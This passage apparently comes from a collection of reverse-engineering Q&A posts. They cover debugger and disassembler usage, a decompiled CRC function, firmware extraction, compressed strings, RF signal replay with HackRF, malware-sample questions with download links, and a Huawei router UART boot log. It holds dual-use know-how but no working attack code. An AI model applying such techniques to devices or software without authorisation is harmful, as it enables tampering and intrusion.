index... those will tell me the 'start' point (indexes) and the pulses to count. I think. But that there are chips on the encoder weirds me out... but that's not this question. + +Due to my embarrassingly low level of electronics knowledge I'm stuck on the fact that it has something called ""0v"" (on pin 20 of the pinout below), AND it has a ground through the mesh cable liner. + +So, if anyone can, please let me know how I can safely wire and power up the encoder to to begin looking for signals on the other wires. + +If ""0v"" is really separate and different from GND, then please include how I might create a ""0v"" from any of the many power supplies I have around. I've played with so many PSUs and other power bricks, but have never seen this 0v thing? + +I am posting pictures of it and also the only reference I have for the pinout of the connector. Thanks in advance. + + + + +" +"['radio-interception', 'gnu-radio']"," Title: How to replay a signal on a different frequency with Gnu Radio Companion and Hack RFBody: I captured the traffic of a remote control for a LED light. +I have multiple of those LED Lights. +The payload seems to be the same for each device but the frequency(channel) differs. + +For one LED light I lost my remote control, now I'd like to replay the captured traffic but on a different frequency. + +How can I do this with tools like GRC and Hack RF (or other tools) ? +" +['ida']," Title: IDA Pro - Load data in manually created segmentBody: The program I'm currently reversing is missing a section that contains a bunch of interesting strings. I see the memory addresses of where these should be, instead of the reference to the string. + +The strings are in the binary file analyzed by IDA, but since there isn't any segment for them, IDA ignored them. + +I tried manually creating the segment, which works (it now references unknown variables instead of memory addreses), but I can't figure out how to load the proper data into that section. (The entire section is filed with db ? ;) + +I've tried using File > Load File > Load additional binary file(with file offset & size), as well as reloading the current file. I've also dumped the part of the file I'm interested in another file and tried to load that one as an additional binary as well. + +The only results I can get from that is: + + + +The segment I manually created has the following settings: + +. + +Here's the form I filled while loading the binary file that contains the data I want. + +. + +I've never done this before, so it's likely I'm doing something wrong, but I can't figure it out. +" +"['disassembly', 'assembly', 'binary-analysis']"," Title: How to identify/extract relevant assembly from a binary?Body: Say I was interested in reverse engineering a specific process in a large binary, say how Google Chrome parses XML, what are some general approaches to identifying the instructions that the program uses to do that? + +Sorry I realise this is a broad question, so specifically how would you go about identifying relevant instructions when you have very little understanding about how the program is structured or what dependencies it has? +" +"['ida', 'pe', 'static-analysis', 'pe-resources']"," Title: How to restore IAT?Body: I have the start address and the end address of the IAT +now im trying to restore the table/folder of it. +the start address is: E7C000 +thx for helping + +" +['gdb']," Title: How to set breakpoint with gdb on arbitrary memory location?Body: I'm trying to debug some code on Linux. +There's an arbitrary memory location I need the program to jump to. +This location is result of calling mmap with appropriate protection flags for executing a piece of code. +When trying to set break point like this: b 0x00007ffff7fcf000 +I get the following message: + +
Function ""0x00007ffff7fcf000"" not defined.
+Make breakpoint pending on future shared library load? (y or [n])
+
+ +If I answer no, then no breakpoint is triggered, and if I answer yes, then still no breakpoint is triggered. How can I make gdb set a breakpoint on this address? +" +"['ida', 'idapython']"," Title: How to change IDA's name representation programmatically?Body: I've made a custom loader and processor. As I use segment to separate something, now I want my name automatically shows in the following form
+9 dseg_1234 the same as 2, but without data type specifier,
+which is described in https://www.hex-rays.com/products/ida/support/idadoc/609.shtml
+The Java processor and loader can change the name representation to number 9 without any additional settings. However I failed to find any code relating to changing the name representation :(
+So how does the Java processor change this option? +" +"['c', 'hexrays']"," Title: Understanding (pseudo-)C function from a video gameBody: I recently found a function using IDA within a game that creates a CRC from a string. I don't understand much of the code or how the game takes in the string as data. + +
__int64 __fastcall ITF::StrToCRC_Template<1u>(unsigned __int8 *a1, unsigned int a2)
+{
+  unsigned int v2; // w8
+  int v3; // w10
+  unsigned int v4; // w11
+  int v5; // w9
+  int v6; // w12
+  int v7; // w13
+  int v8; // w14
+  unsigned int v9; // w12
+  int v10; // w13
+  int v11; // w15
+  unsigned int v12; // w12
+  int v13; // w14
+  int v14; // w12
+  int v15; // w13
+  int v16; // w9
+  int v17; // w12
+  int v18; // w15
+  unsigned int v19; // w14
+  int v20; // w15
+  unsigned int v21; // w14
+  int v22; // w13
+  int v23; // w14
+  int v24; // w15
+  int v25; // w8
+  int v26; // w9
+  unsigned int v27; // w12
+  unsigned __int8 v28; // w13
+  int v29; // w15
+  unsigned int v30; // w12
+  unsigned __int8 v31; // w13
+  unsigned int v32; // w10
+  int v33; // w9
+  unsigned int v34; // w8
+  unsigned int v35; // w10
+  int v36; // w9
+  unsigned int v37; // w8
+  unsigned int v38; // w10
+  unsigned int v39; // w10
+  int v40; // w11
+  int v41; // w11
+  int v42; // w11
+  int v43; // w11
+  int v44; // w11
+  int v45; // w11
+  int v46; // w11
+  int v47; // w11
+  int v48; // w11
+  int v49; // w11
+  int v50; // w11
+  int v51; // w9
+  unsigned int v52; // w8
+  unsigned int v53; // w10
+  int v54; // w9
+  unsigned int v55; // w8
+  unsigned int v56; // w10
+  int v57; // w9
+
+  v2 = -1640531527;
+  v3 = 0;
+  v4 = a2;
+  v5 = -1640531527;
+  if ( a2 >= 0xC )
+  {
+    do
+    {
+      v6 = *a1;
+      v7 = a1[1];
+      if ( (unsigned int)(v6 - 97) <= 0x19 )
+        v6 += 224;
+      v8 = a1[2];
+      if ( (unsigned int)(v7 - 97) <= 0x19 )
+        LOBYTE(v7) = v7 - 32;
+      v9 = v6 & 0xFFFF00FF | ((unsigned __int8)v7 << 8);
+      v10 = a1[3];
+      if ( (unsigned int)(v8 - 97) <= 0x19 )
+        LOBYTE(v8) = v8 - 32;
+      if ( (unsigned int)(v10 - 97) <= 0x19 )
+        LOBYTE(v10) = v10 - 32;
+      v11 = a1[4];
+      v12 = v9 & 0xFF00FFFF | ((unsigned __int8)v8 << 16);
+      v13 = v11 + 224;
+      v14 = v12 & 0xFFFFFF | ((unsigned __int8)v10 << 24);
+      v15 = a1[6];
+      v16 = v14 + v5;
+      v17 = a1[8];
+      if ( (unsigned int)(v11 - 97) > 0x19 )
+        v13 = a1[4];
+      v18 = a1[5];
+      if ( (unsigned int)(v18 - 97) <= 0x19 )
+        LOBYTE(v18) = v18 - 32;
+      v19 = v13 & 0xFFFF00FF | ((unsigned __int8)v18 << 8);
+      if ( (unsigned int)(v15 - 97) <= 0x19 )
+        LOBYTE(v15) = v15 - 32;
+      v20 = a1[7];
+      v21 = v19 & 0xFF00FFFF | ((unsigned __int8)v15 << 16);
+      if ( (unsigned int)(v20 - 97) <= 0x19 )
+        LOBYTE(v20) = v20 - 32;
+      if ( (unsigned int)(v17 - 97) <= 0x19 )
+        v17 += 224;
+      v22 = a1[9];
+      v23 = v21 & 0xFFFFFF | ((unsigned __int8)v20 << 24);
+      v24 = a1[10];
+      v25 = v23 + v2;
+      v26 = v16 - v25;
+      if ( (unsigned int)(v22 - 97) <= 0x19 )
+        LOBYTE(v22) = v22 - 32;
+      v27 = v17 & 0xFFFF00FF | ((unsigned __int8)v22 << 8);
+      v28 = v24 - 32;
+      if ( (unsigned int)(v24 - 97) > 0x19 )
+        v28 = a1[10];
+      v29 = a1[11];
+      a1 += 12;
+      v30 = v27 & 0xFF00FFFF | (v28 << 16);
+      if ( (unsigned int)(v29 - 97) <= 0x19 )
+        v31 = v29 - 32;
+      else
+        v31 = v29;
+      v32 = (v30 & 0xFFFFFF | (v31 << 24)) + v3;
+      v33 = (v26 - v32) ^ (v32 >> 13);
+      v34 = (v25 - v32 - v33) ^ (v33 << 8);
+      v35 = (v32 - v33 - v34) ^ (v34 >> 13);
+      v36 = (v33 - v34 - v35) ^ (v35 >> 12);
+      v37 = (v34 - v35 - v36) ^ (v36 << 16);
+      v38 = (v35 - v36 - v37) ^ (v37 >> 5);
+      v5 = (v36 - v37 - v38) ^ (v38 >> 3);
+      v2 = (v37 - v38 - v5) ^ (v5 << 10);
+      v3 = (v38 - v5 - v2) ^ (v2 >> 15);
+      v4 -= 12;
+    }
+    while ( v4 > 0xB );
+  }
+  v39 = v3 + a2;
+  switch ( v4 )
+  {
+    case 1u:
+      goto LABEL_59;
+    case 2u:
+      goto LABEL_56;
+    case 3u:
+      goto LABEL_53;
+    case 4u:
+      goto LABEL_50;
+    case 5u:
+      goto LABEL_47;
+    case 6u:
+      goto LABEL_44;
+    case 7u:
+      goto LABEL_41;
+    case 8u:
+      goto LABEL_38;
+    case 9u:
+      goto LABEL_35;
+    case 0xAu:
+      goto LABEL_32;
+    case 0xBu:
+      v40 = a1[10];
+      if ( (unsigned int)(v40 - 97) <= 0x19 )
+        v40 += 224;
+      v39 += v40 << 24;
+LABEL_32:
+      v41 = a1[9];
+      if ( (unsigned int)(v41 - 97) <= 0x19 )
+        LOBYTE(v41) = v41 - 32;
+      v39 += (unsigned __int8)v41 << 16;
+LABEL_35:
+      v42 = a1[8];
+      if ( (unsigned int)(v42 - 97) <= 0x19 )
+        LOBYTE(v42) = v42 - 32;
+      v39 += (unsigned __int8)v42 << 8;
+LABEL_38:
+      v43 = a1[7];
+      if ( (unsigned int)(v43 - 97) <= 0x19 )
+        v43 += 224;
+      v2 += v43 << 24;
+LABEL_41:
+      v44 = a1[6];
+      if ( (unsigned int)(v44 - 97) <= 0x19 )
+        LOBYTE(v44) = v44 - 32;
+      v2 += (unsigned __int8)v44 << 16;
+LABEL_44:
+      v45 = a1[5];
+      if ( (unsigned int)(v45 - 97) <= 0x19 )
+        LOBYTE(v45) = v45 - 32;
+      v2 += (unsigned __int8)v45 << 8;
+LABEL_47:
+      v46 = a1[4];
+      if ( (unsigned int)(v46 - 97) <= 0x19 )
+        LOBYTE(v46) = v46 - 32;
+      v2 += (unsigned __int8)v46;
+LABEL_50:
+      v47 = a1[3];
+      if ( (unsigned int)(v47 - 97) <= 0x19 )
+        v47 += 224;
+      v5 += v47 << 24;
+LABEL_53:
+      v48 = a1[2];
+      if ( (unsigned int)(v48 - 97) <= 0x19 )
+        LOBYTE(v48) = v48 - 32;
+      v5 += (unsigned __int8)v48 << 16;
+LABEL_56:
+      v49 = a1[1];
+      if ( (unsigned int)(v49 - 97) <= 0x19 )
+        LOBYTE(v49) = v49 - 32;
+      v5 += (unsigned __int8)v49 << 8;
+LABEL_59:
+      v50 = *a1;
+      if ( (unsigned int)(v50 - 97) <= 0x19 )
+        LOBYTE(v50) = v50 - 32;
+      v5 += (unsigned __int8)v50;
+      break;
+    default:
+      break;
+  }
+  v51 = (v5 - v2 - v39) ^ (v39 >> 13);
+  v52 = (v2 - v39 - v51) ^ (v51 << 8);
+  v53 = (v39 - v51 - v52) ^ (v52 >> 13);
+  v54 = (v51 - v52 - v53) ^ (v53 >> 12);
+  v55 = (v52 - v53 - v54) ^ (v54 << 16);
+  v56 = (v53 - v54 - v55) ^ (v55 >> 5);
+  v57 = (v54 - v55 - v56) ^ (v56 >> 3);
+  return (v56 - v57 - ((v55 - v56 - v57) ^ (v57 << 10))) ^ (((v55 - v56 - v57) ^ (v57 << 10)) >> 15);
+}
+
+ +This is the code, I am trying to convert this to a Python function so I can integrate it into a program I am making. Could anyone help me start converting this? Or make the code more understandable? +" +['binary-analysis']," Title: Identifying Compiler Used for Binary FileBody: I am trying to recreate a binary file from an analysis of ""strings"" output. I don't recognize which compiler was used for this file. It does not seem to be shc. Does anyone recognize this output pattern from a known compiler? + +
strings *omitted*
+/lib/ld-linux.so.2
+libc.so.6
+_IO_stdin_used
+puts
+setreuid
+printf
+getchar
+system
+geteuid
+strcmp
+__libc_start_main
+__gmon_start__
+GLIBC_2.0
+PTRhp
+QVh;
+secrf
+love
+UWVS
+t$,U
+[^_]
+
+ +I can include the rest of the output. +Edit: the scripting language is likely dash +" +"['debuggers', 'x64dbg']"," Title: UTF8, UTF16 encoding string searchBody: I want to search for a string written in Georgian from within x64dbg. It shows me spaces except them.. + +P.S I found this github repository but, I don't know how to install the plugin in the debugger... it seems to be a different kind of plugin.. please help, I need it like air.. thanks! +" +"['disassembly', 'firmware', 'ghidra', 'firmware-analysis']"," Title: Open a NEC binary in GhidraBody: I have a binary dump from a 76F0219F1 NEC processor. I tried to open it in Ghidra, but I don't see any NEC in the list of supported processors. +Does Ghidra support NEC processors? Is there anything I can do to open the NEC binary dump in Ghidra? +" +"['windows', 'pe', 'executable']"," Title: change PE file icon without re-signing the file all over againBody: Is there any option to set new icon for a signed PE executable in windows without re-signing it again. This means that the icon image, although fully assimilated to the PE file, won't change the hash value as it's appears in the file signature part. + +perhaps there's a concept where one can sign only the specific sections in the files such as .text or .data and avoid other parts of the file ? + +thanks +" +"['disassembly', 'register', 'powerpc']"," Title: PowerPC TOC and SDABody: I'm trying to understand the concepts of the TOC and SDA in PowerPC. + +From what I understand, they are basically pointers to tables of global values, when TOC is stored in r2, and SDA in r13. + +But what are the difference between them? I compiled a simple ppc project, and I see that only r2 is used, but r13 isn't. Is it something that supposed to be said explicitly to use SDA? + +Moreover, I see that all my global strings aren't actually accessed through r2 at all. It looks like the only use of r2 in my code is just to access stack variables. Does it make sense? + +In addition, Where are they supposed to be initialized? I didn't find in my code any place that r2 is initialized, only used. +" +['immunity-debugger']," Title: Move focus to Immunity Debugger command lineBody: As the title says, I want to know if there is a keyboard shortcut that upon pressing will allow me to write in the Immunity command line? +" +"['ida', 'disassembly', 'windows', 'decompilation', 'unpacking']"," Title: The executable file makes a unique ID from each individual PC. Can anyone decipher from where the file makes these unique IDs?Body: The file generates random unique ID. It says hardware ID but I couldn't find it in product key, BIOS serial number or anywhere. I used IDA but I couldn't get from where the file creates the code. Even a little help would be a great deal for me. + +No need to install, it's 3 mb portable. + +Link: https://drive.google.com/open?id=1JqkRXUvAha13WpfFaeGMHig_GnAZHJab +" +"['assembly', 'x86', 'math']"," Title: What is the purpose of consecutive ADC instructions to a single register?Body: To clarify, I understand how ADC works. It's the same as a regular ADD but with an extra 1 if the Carry Flag was set. + +Its use in the snippet below makes perfect sense to me since an overflow is most likely going to occur, setting the CF flag, when adding two 64-bit values in a 32-bit context: + +
Assume EDX:EAX and EBX:ECX pairs hold two 64 bit values that are to be added together.
+
+add     eax, ecx
+adc     edx, ebx
+mov     dword [ebp+Some64BitValue], eax
+mov     dword [ebp+Some64BitValue+4], edx
+
+ +What I fail to understand the meaning of is when ADC is used consecutively on the same variable/register like this: + +
add     eax, dword [esi]
+adc     eax, dword [esi+0x4]
+adc     eax, dword [esi+0x8]
+adc     eax, dword [esi+0x10]
+...
+adc     eax, 0
+
+ +Generally speaking what would be the purpose of doing this? What is meant to be of EAX? + +*update: + +see my answer below +" +"['windows', 'driver']"," Title: Info on ProcMon from SysInternalsBody: I need help. I am reversing Procmon64.exe file. +It drops procmon.Sys filesystem minifilter driver which does monitoring. + +Question: +I need to know if filtering of events is done in user-mode or kernel-mode. + +My hypothesis is that all events are sent to user-mode application and then are filtered and displayed. + +For now i breakpointed procedure that calls FilterGetMessage but can't figure out if it returns all events or just filtered events. + +Thank You. +" +"['decompilation', 'apk', 'decompile']"," Title: (Help) APK Decomplied unreadable .pngsBody: I decompiled an Android game APK to look at the source code / resources and the .pngs give me the error ""It looks like we don't support this file format"" when I try to view them in the Photos App. I've tried decompiling with Apktool and just changing the extension to .zip but still no luck. Any help would be appreciated. +" +"['ida', 'decompilation', 'android', 'libraries']"," Title: How to find implementation of native method in the library .so (Android)Body: I need to make reverse engineering of one android app. +In this app I found class with name Im2MessageNative, this class contains a lot of native methods. +For example: + +
static native long createMessageWrite(int i);
+
+ +I tried to find an implementation of the method using the Ida Pro. To do this, I opened a tab with strings, then search for phrase ""createMessageWrite"", next I opened memory address and found this: + +
.rodata:00B29B29 aCreatemessagew DCB ""createMessageWrite"",0
+.rodata:00B29B29                                         ; DATA XREF: 
+.data:00DDC4CC↓o
+.rodata:00B29B29                                         ; .data:00DDC4D8↓o
+
+ +I was looking for a ""aCreatemessagew"", but could not find any function. + +How to find the implementation of this native method? +" +"['ida', 'debuggers', 'error']"," Title: Ida permission errorBody: I tried debugging an running a program via ida64 and it says permission denied please reopen with elevated permission. I am on a mac please tell me how to fix this +" +"['x64dbg', 'command-line']"," Title: When trying to change command line, received an error: ""Could not set command line!""Body: I download CurrPort program and run it on xdbg64. + +I pressed File -> Changed Command line and changed the command line to: + +
""C:\Users\myusername\Downloads\cport\cports.exe"" ""/close * * 127.0.0.1 6666""
+
+ +But I received an error:
+ + +Why it happens and how to solve it ? +" +"['debugging', 'radare2', 'android', 'dynamic-analysis']"," Title: Radare2 - How to debug Android native code (dynamic analysis)?Body: I'm using Termux(root) on LineageOS 16 (Android 9) with radare2 (v3.6.0 linux-arm32). When i attach to a process with 'r2 -d pid' the app freezes properly but doesn't continue with 'dc'. I'm not sure in which condition the debugger is exactly but when i try to step in code (F7/F8 in visual) some errors are flickering (SIGILL somewhat..). The Zygote instance (we are connected to) seems to be corrupted by r2. + +On IDA you attach the remote debugger (android_server) to the pid and you'll land somewhere in the code, can set breakpoints, continue execution and so on. I'm trying to achieve the same with r2. + +How is it meant to be done to debug Android native code with radare2 at runtime (dynamic analysis)? +" +['firmware']," Title: Extract Web Contents From Cisco Firmware Data IMG FileBody: I download firmware + +
https://software.cisco.com/download/home/284973404/type/284971397/release/1.1.4.1
+
+ +I extract with binwalk + +
sudo apt-get install -y binwalk'
+binwalk -eM Sx220-R1.1.4.1.bin
+cd _Sx220-R1.1.4.1.bin-0.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/cpio-root
+
+ +I work with sqfs.img, want mount or extract + +See file command + +
$ file sqfs.img
+sqfs.img: data
+
+ +I try mount + +
$ sudo mount -o loop sqfs.img sqfs
+mount: cpio-root/sqfs: wrong fs type, bad option, bad superblock on 
+/dev/loop2, missing codepage or helper program, or other error.
+
+ +See fdisk -l + +
$ fdisk -l sqfs.img
+Disk sqfs.img: 5 MiB, 5193728 bytes, 10144 sectors
+Units: sectors of 1 * 512 = 512 bytes
+Sector size (logical/physical): 512 bytes / 512 bytes
+I/O size (minimum/optimal): 512 bytes / 512 bytes
+
+ +See parted + +
$ sudo parted sqfs.img
+GNU Parted 3.2
+Using cpio-root/sqfs.img
+Welcome to GNU Parted! Type 'help' to view a list of commands.
+(parted) print
+Error: cpio-root/sqfs.img: unrecognised disk
+label
+Model:  (file)
+Disk cpio-root/sqfs.img: 5194kB
+Sector size (logical/physical): 512B/512B
+Partition Table: unknown
+Disk Flags:
+
+ +I read + +How to extract N150R firmware from .img file + +I try dd + +
 $ dd if=sqfs.img of=file.squashfs bs=192 skip=1
+ 27049+1 records in
+ 27049+1 records out
+ 5193536 bytes (5.2 MB, 5.0 MiB) copied, 0.0968263 s, 53.6 MB/s
+
+ +I try mount again + +
 $ sudo mount file.squashfs sqfs/
+ mount: _Sx220-R1.1.4.1.bin-0.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/cpio-root/sqfs: wrong fs type, bad option, bad superblock on /dev/loop2, missing codepage or helper program, or other error.
+
+ +I try sasquatch + +
$ sasquatch file.squashfs
+SquashFS version [40316.27519] / inode count [-143619237] suggests a SquashFS image of a different endianess
+Non-standard SquashFS Magic: ▒<W▒
+Reading a different endian SQUASHFS filesystem on file.squashfs
+Filesystem on file.squashfs is (31901:32619), which is a later filesystem version than I support!
+
+ +What can try next? +" +['java']," Title: What types are read from byte array?Body: I try to understand what data types are read from a byte array. These methods seem to follow a common pattern: + +
public class Reader {
+
+    static short readA(byte[] bytes, int i) {
+        int s = ((((short) bytes[i]) & 255) << 8)
+                | (((short) bytes[i + 1]) & 255);
+        return (short) s;
+    }
+
+    static int readB(byte[] bytes, int i) {
+        return ((bytes[i] & 255) << 8)
+                | (bytes[i + 1] & 255);
+    }
+
+    static int readC(byte[] bytes, int i) {
+        return ((bytes[i] & 255) << 24)
+                | ((bytes[i + 1] & 255) << 16)
+                | ((bytes[i + 2] & 255) << 8)
+                | (bytes[i + 3] & 255);
+    }
+
+}
+
+ +Does readC read a signed integer? Does readB read a signed short? What does readA read? +" +['ghidra']," Title: Ghidra: Prepend memory segment in assembly listing viewBody: Ida prepends the memory segment before each instruction. How can it be added in Ghidra ? I've already tried to edit the listing fields without success as no option fits my need. + +What I would like + +.text:00000000 c3 ret ... + + +What I currently have + + +" +"['decompilation', 'encryption', 'decompress', 'gcc']"," Title: Strings weirdly split in binaryBody: Recently I have come across a few parts in a binary that looked odd to me, and I wanted to ask if this is something common compilers do, and if there is a way to undo it. + +(The binary is from a raw flash dump) + +A few examples: + +
In Binary File:
+4C 65 76 FF 65 6C 3D 30 28 4F 46 46 FF 29 2C 31 28 45 52 52 29 FF 2C 32 28 43 4D 44 29 2C FD 33 1C 41 50 52 4F 43 29
+Levÿel=0(OFFÿ),1(ERR)ÿ,2(CMD),ý3.APROC)
+
+What it actually should look like:
+Level=0(OFF),1(ERR),2(CMD),3(....PROC)
+
+ +
Bin:
+45 D2 60 67 65 6E 63 79 DA 50 FF 6F 70 20 54 65 73 74 20 33 4F 4E
+EÒ`gencyÚPÿop Test 3ON
+
+Actual:
+Emergency Loop Test ON
+
+ +
Bin:
+53 FF 65 72 76 69 63 65 20 55 FF 6E 61 76 61 69 6C 61 62 E3 6C 65
+Sÿervice Uÿnavailabãle
+
+Actual:
+Service Unavailable
+
+ +Thanks in advance. + +EDIT: + +How do you know what it should look like ? + +Because when the board is running, it is showing the exact same string in the GUI. + +Can you diff your dump and the binary found on disk ? + +Since this image is extracted from a flash, I'd say it actually is stored like that on it. + +Can you update your question with hex bytes in order to aid investigation ? + +Sure. + +Are you aware of the compiler used ? + +No, I do not know what compiler was used. It has to be something for embedded systems tho, since it was running on an mcu. + +Could you provide some environment information ? (OS, arch, compiler...) + +Embedded System Board running some sort of RENESAS Processor (exact model unknown) + +UPDATE: + +Every 8 bytes there is some sort of indicator. In my case mostly FF (ÿ) which indicates that the next 8 bytes are not encoded/compressed. +If the byte is something like FD (ý) which in Binary(MSB) is 10111111, means the 2nd byte is encoded. + +Example: + +
Levÿel=0(OFFÿ),1(ERR)ÿ,2(CMD),ý3.APROC)
+678 12345678 12345678 12345678 12.345678
+
+ +Meaning (APROC) isn't actually (APROC) but rather something more like (....PROC) +" +['decompress']," Title: What compression type has been used here?Body: I am still working on the binary image from the last question, and have already found out that my ""corrupted"" data is actually just compressed. But now I have another issue because I don't know what compression type was used. + +What I already know: + +The data consists out of at least 9 Bytes. The first byte is always a ""flag"" wich describes in it's 8 bits wehter the next 8 Bytes are compressed or not. A Compressed ""Byte"" is stored as two Bytes. + +Example: + +
ß\DB\cóA\c
+ß -> DF -> 11111011 (MSB) -> 6th byte encoded
+
+ +This means that ""óA"" actually stands for ""ache"" but i have not yet found where ""ache"" is actually stored in memory. + +The Image in question is available here: https://we.tl/t-tpG9EjpSbr +" +"['ida', 'malware', 'dll', 'exe', 'entry-point']"," Title: Start vs WinMain()Body: I am trying to analyze a malicious DLL and when I loaded it in IDA, I can see two functions - DLLEntryPoint and DLLMain. I then proceeded to change the format by switching the characteristics bit that identified the file as a DLL to an EXE. When I load the file again in IDA, I can see two functions - Start and WinMain + +From what I understand, Start is the entry point for an exe and it does some initialization before it calls WinMain or Main. Are DLLEntryPoint and DLLMain similar functions for Dlls? +" +"['windows', 'malware', 'pe']"," Title: malware analysisBody: I tried to use process monitor to find out what program 4.exe did on my system. However, I could not find what changes were made. + + + +I believe that this program modifies some files and the registry, but I do not know which files and registry keys. + +I checked registries in Google and couldn’t figure out what is exactly the threat of the program to the system? The question is about a kind of modification on the files . I haven’t noticed such kind of modification. + +I spent many hours on debugging the program and tracing assembly code, but couldn’t find the damage file. + +download the file from here +" +"['ida', 'idapython']"," Title: How to set virtual `T` register programmatically in IDA Python?Body: It is trivial to do it with Alt+G command from GUI. + +However, when I set multiple breakpoints programmatically, IDA doesn't recognize them as ""thumb"" mode ones and sets T value at breakpoint address to 0. When IDA tries to use ARM mode instead of Thumb, it is guaranteed to crash. + +Setting T value 50 times manually is supposed to be too slow. + +So, I try to set T = 1 programmatically. + +However, I have no idea how to do that. + +I tried this: + +
idaapi.set_sreg_at_next_code(function_pointer, function_pointer + 2, idaapi.str2reg(""T""), 1)
+
+ +And this: + +
idaapi.set_default_sreg_value(idaapi.getseg(function_pointer), idaapi.str2reg(""T""), 1)
+
+ +IDA simply ignores both calls, no error occurs, but T value doesn't change. + +Does anyone know how to change virtual T segment register value with IDAPython in ARM mode? +" +['ida']," Title: IDA Xrefs window keep open?Body: When I use the context menu ""List cross references to"", a window opens with a list of all positions found which references the position, and I can double click to a function. But then the window closes, because it is a modal window. Is it possible that it stays open (non-modal) or is there another way to open it again quickly without jumping back and selecting the context menu item again? +" +"['firmware', 'memory', 'hardware']"," Title: router: how to break into boot?Body: I have an ISP-provided router, Huawei B5318-42. I connected to it through UART and a UART-USB converter, copied the output from boot, and managed to figure out which chip is the onboard flash memory. By putting a jumper connected to onboard VCC on the flash memory, I am able stop boot at certain points w/o it being able to recover or continue, but that hasn't helped me get a shell. There is a point at boot (#Reset_MT7530) where there is a timer and four options (one of which is command prompt!) but I cannot choose anything. + +This is what I have so far: + +Flash memory data sheet: http://static6.arrow.com/aropdfconversion/ad37e5e560057875befe533ab753d2eb5063011f/125413166402097mx25l25635f203v20256mb20v1.5.pdf + +I know it runs BusyBox and vPort Release +D2Tech+ VPORT_R_1_6_91 based on boot sequence. + +It is MIPS architercture. + +Raw output after pressing reset on the router: + +
    press for several seconds
+ralink_gpio: sending a SIGUSR2 to process 332
+[Reboot.sh]: start reboot......
+unkown led action
+[CM]:send reboot msg to ODU.
+[CM]:send msg magic:0xaabbccdd, class:0x80, msgtype:0x40.
+press for several seconds
+ralink_gpio: sending a SIGUSR2 to process 332
+[CM]:send reboot msg to ODU.
+[CM]:send reboot msg to ODU.
+[Reboot.sh]: start reboot......
+unkown led action
+[CM]:send msg magic:0xaabbccdd, class:0x80, msgtype:0x40.
+1 /sbin/miniupnpd.sh remove && at^tmode=3
+[CM]:send reboot msg to ODU.
+[CM]:send reboot msg to ODU.
+1 /sbin/miniupnpd.sh remove && at^tmode=3
+[CM]:send reboot msg to ODU.
+modem have no response.
+usb 2-1: USB disconnect, device number 2
+usb 2-1: [DBG HUB]Lock device done, device number 2
+usb 2-1: [DBG HUB]mutex_lock hcd->bandwidth_mutex done, device number 2
+usb 2-1: [DBG MESSAGE]set all interface unregister 2
+usb 2-1: [DBG MESSAGE]remove interface 0
+usb 2-1: [DBG MESSAGE]device delete interface 0
+eth_data: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device
+usb 2-1: [DBG MESSAGE]remove interface 1
+usb 2-1: [DBG MESSAGE]device delete interface 1
+eth_voip: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device
+usb 2-1: [DBG MESSAGE]remove interface 2
+usb 2-1: [DBG MESSAGE]device delete interface 2
+eth_tr069: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device
+usb 2-1: [DBG MESSAGE]remove interface 3
+usb 2-1: [DBG MESSAGE]device delete interface 3
+usbcomm0: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device
+fxz-hw_stop: called
+usb 2-1: [DBG MESSAGE]remove interface 4
+usb 2-1: [DBG MESSAGE]device delete interface 4
+option1 ttyUSB0: GSM modem (1-port) converter now disconnected from ttyUSB0
+option 2-1:1.4: device disconnected
+
+
+OK
+
+
+usb 2-1: [DBG MESSAGE]remove interface 5
+usb 2-1: [DBG MESSAGE]device delete interface 5
+option1 ttyUSB1: GSM modem (1-port) converter now disconnected from ttyUSB1
+option 2-1:1.5: device disconnected
+usb 2-1: [DBG MESSAGE]remove interface 6
+usb 2-1: [DBG MESSAGE]device delete interface 6
+option1 ttyUSB2: GSM modem (1-port) converter now disconnected from ttyUSB2
+option 2-1:1.6: device disconnected
+usb 2-1: [DBG MESSAGE]remove interface 7
+usb 2-1: [DBG MESSAGE]device delete interface 7
+option1 ttyUSB3: GSM modem (1-port) converter now disconnected from ttyUSB3
+option 2-1:1.7: device disconnected
+usb 2-1: [DBG MESSAGE]remove all interface_ep_devs 2
+usb 2-1: [DBG MESSAGE]set all interface NULL 2
+usb 2-1: [DBG MESSAGE]set device state ADDRESS done 2
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint
+usb 2-1: [DBG HUB]usb_disable_device done, device number 2
+usb 2-1: [DBG HUB]mutex_unlock hcd->bandwidth_mutex done, device number 2
+usb 2-1: [DBG HUB]usb_remove_ep_devs done, device number 2
+usb 2-1: [DBG HUB]usb_unlock_device done, device number 2
+[ModemReboot]: usb net disconnect.
+VAPP is shuting down
+vapp_sip_manage.c 131: Stopping SIP
+[ 3: 7:54.621340][LCM]:signal 15 exit.
+[CM]:cm process is killed:15
+[CM]:send reboot msg to ODU.
+SHUTDOWN - _VAPP_mgmtEventWriteTask
+[CM]:send reboot msg to ODU.
+SHUTDOWN - sipUaHandlerTask. infc:0
+Stopped WatchDog Timer.
+Restarting system.
+
+
+===================================================================
+
